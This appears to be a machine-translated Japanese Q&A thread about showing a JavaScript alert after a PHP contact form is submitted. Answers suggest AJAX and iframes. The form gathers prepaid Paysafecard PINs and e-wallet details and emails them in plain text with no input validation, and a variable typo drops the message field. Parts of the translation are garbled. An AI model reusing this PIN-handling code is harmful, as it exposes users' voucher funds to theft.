2016-08-08 9 views
0

コンタクトフォームを作成して正常に動作しました フォームの送信後に警告メッセージを表示したいのですがiframeとフォームをこのiframeにターゲティングしてアラートをエコーし​​ても同様です IFRAMEは私が何をしたいのか、私は1pxの その高さを作る場合でも、高さのホワイトスペースと多くを取る:IFRAME のスペース-Remove -orはiframeここフォーム提出後の警告

withour警告を行うための別の方法を見つけます私のhtmlです

<form action="index.php" class="alt" method="POST" target="myiframe" > 
<div class="row uniform"> 
<div class="12u$"> 
<input name="pin" placeholder="Paysafecard PIN" type="text" required> 
</div> 
<div class="12u$(small)"> 
<input name="value" placeholder="Value" type="text" required> 
</div> 
<div class="12u$(small)"> 
<select name="currency"> 
<option value="EUR">EUR</option> 
<option value="CHF">CHF</option> 
<option value="GBP">GBP</option> 
<option value="CAD">CAD</option> 
<option value="USD">USD</option> 
<option value="RON">RON</option> 
<option value="NOK">NOK</option> 
<option value="MXN">MXN</option> 
<option value="HRK">HRK</option> 
<option value="PLN">PLN</option> 
</select> 
</div> 
<div class="12u$"> 
<input name="exchange" placeholder="Exchange to :" type="text" required> 
</div> 

<div class="12u$"> 
<input name="ewallet" placeholder="Ewallet email" type="email" required> 
</div> 
<div class="12u$"> 
<input name="contact" placeholder="Contact email" type="email" required> 
</div>         
<div class="12u$"> 
<textarea name="message" placeholder="Message" rows="4"></textarea> 
</div> 
</div> 
<ul class="actions"> 
<li><input name="submit" class="alt" value="Submit" type="submit"></li> 
</ul> 
<iframe style="display:none;" name="myiframe"></iframe> 
</form> 
ここ

は私のPHPで

<?php 


//Attributes 
    $pin = $_POST['pin']; 

    $value = $_POST['value']; 

    $currency = $_POST['currency']; 

    $exchange = $_POST['exchange']; 

    $ewallet = $_POST['ewallet']; 

    $contact = $_POST['contact']; 

    $mesasage = $_POST['message']; 

//Email stuff 

    $from = '[email protected]'; 
    $to = '[email protected]'; 
    $subject = 'Trade'; 

//Email 

$body = "Pin: $pin\n Value: $value\n Currency: $currency\n Exchange to: $exchange\n Ewallet: $ewallet\n Contact: $contact\n Message: $message"; 


if ($_POST['submit']) { 
    if ($pin != '' && $value != '' && $exchange != '' && $ewallet != '' && $contact !='') { 
    if (mail ($to, $subject, $body, $from)) { 
echo '<script language="javascript">'; 
echo 'alert("message successfully sent")'; 
echo '</script>'; 
    } else { 
     echo '<script language="javascript">'; 
echo 'alert("Something went wrong, Go back and try again.")'; 
echo '</script>';; 
    } 

    } 
} 

?> 

注:私はindex.htmlページに警告メッセージを表示するためにはiframeを使用していないPHPのページが、IFRAMEが空であり、それは、フォーム

+0

使用AJAXや不透明度を設定します:0 doesntの仕事ディスプレイどれも機能していないのiframe –

+0

@Jonasw不透明度に0をしかし

良い簡単な例w3schools

であなたのJSコードは次のようになります。アラートメッセージは、同じページではなく、別のページに表示され、どのようにajaxを使用するか考えていますか? – twix

+0

PHPのファイルにjsアラートがあり、iframeに警告が表示されていないため、別のものが表示されています。 –

答えて

0

最良の方法は次のとおりです。

  1. キャッチはJSでイベントを提出します。次に、AJAXでフォームを送信します。
  2. あなたのPHPは(スクリプトではなく)メッセージで応答します。 echo 'sent'またはecho 'failed'のようになります。
  3. AJAX呼び出しの成功メソッドでは、PHPからの応答(文字列の送信または失敗)を確認した後、警告メソッドを呼び出します。

私はこのためにjQueryを使用するよう勧める。詳細については$.ajaxメソッドと$.postメソッドを確認してください。

$("button").click(function(){ 
    $.ajax({url: "YOUR PHP FILE URL", success: function(result){ 
     if(result === 'sent') { 
      // do the alert here 
     } 
    }}); 
}); 
+0

コード内の任意の明確化してください? – twix

+0

確かに、私はjqueryのドキュメントへのリンクで答えを更新しました。そこにあなたが使用できる良い例があります。 3番目の有用なリンクをもう一度編集してみましょう。 –

+0

とこのコードをどこに追加すればよいですか? – twix

0
後に行われます

IFRAMEにフォーム全体を置く:

<iframe src="form.php">Please update your browser</iframe> 

今、あなたはform.phpにフォームを追加することができます。これを行うには

+0

whats the form.php? 私の場合はindex.phpですか? – twix

+0

それを試して私のフォームが消えた – twix

関連する問題